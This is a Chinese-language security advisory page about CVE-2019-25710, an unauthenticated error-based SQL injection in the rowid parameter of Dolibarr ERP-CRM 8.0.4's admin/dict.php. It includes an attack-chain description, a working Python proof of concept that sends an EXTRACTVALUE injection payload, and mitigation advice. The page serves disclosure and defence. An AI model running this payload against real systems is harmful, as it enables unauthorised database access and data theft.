IPBUF安全漏洞报告
English
CVE-2019-25710 CVSS 8.2 高危

CVE-2019-25710 Dolibarr ERP-CRM SQL注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2019-25710
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dolibarr ERP-CRM

相关标签

CVE-2019-25710SQL注入Dolibarr高危Web安全无需认证

漏洞概述

Dolibarr ERP-CRM 8.0.4版本在admin/dict.php端点的rowid参数中存在SQL注入漏洞。由于未对用户输入进行严格过滤,攻击者无需认证即可通过恶意构造的POST请求注入SQL代码。利用基于错误的注入技术,攻击者可执行任意SQL查询并提取敏感数据库信息。该漏洞CVSS评分8.2,对机密性影响较高,属于高危漏洞。

技术细节

该漏洞的根本原因在于Dolibarr ERP-CRM 8.0.4版本在处理admin/dict.php接口的请求时,对rowid参数缺乏有效的安全校验。攻击者可以通过发送特制的POST请求,将恶意的SQL语句注入到该参数中。由于后端代码直接将参数值拼接到SQL查询中,且未使用预编译语句或转义机制,导致数据库将输入视为可执行代码。具体利用方式属于基于错误的SQL注入(Error-based SQL Injection)。攻击者通过构造特殊的SQL语法(例如使用ExtractValue函数或强制类型转换),诱导数据库返回包含查询结果的错误信息。由于CVSS向量显示无需用户交互(UI:N)且无需认证(PR:N),攻击者可以通过网络直接发起攻击,成功后可获取数据库中的敏感数据,如用户凭证、业务数据等,并对数据完整性造成一定影响。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行Dolibarr ERP-CRM 8.0.4版本,并确定admin/dict.php端点存在。
STEP 2
武器化
攻击者构造基于错误的SQL注入Payload,目标是通过rowid参数触发数据库错误并回显数据。
STEP 3
交付
攻击者向目标服务器的/admin/dict.php端点发送包含恶意rowid参数的HTTP POST请求。
STEP 4
利用
后端数据库接收并执行包含恶意代码的SQL语句,由于未过滤,执行成功并返回错误信息。
STEP 5
渗出
攻击者解析数据库返回的错误信息,提取出敏感数据(如数据库名、表结构、用户数据等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target = f"{url}/admin/dict.php" # Payload based on error-based SQL injection technique # Attempting to cause a database error to confirm vulnerability payload = { "rowid": "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- -" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" } try: response = requests.post(target, data=payload, headers=headers, timeout=10) # Check if the response contains SQL error syntax indicating a successful injection if "XPATH syntax error" in response.text or "mysql_fetch" in response.text: print("[+] Vulnerability detected! SQL Injection successful.") print(f"[+] Response: {response.text[:500]}") else: print("[-] Vulnerability not detected or payload modified.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)

影响范围

Dolibarr ERP-CRM 8.0.4

防御指南

临时缓解措施
建议立即升级Dolibarr ERP-CRM至修复了此漏洞的版本。如果无法立即升级,应限制对admin/dict.php目录的访问权限(如通过IP白名单),并在Web应用防火墙(WAF)中添加针对该端点的SQL注入防护规则,拦截包含单引号、注释符等恶意字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表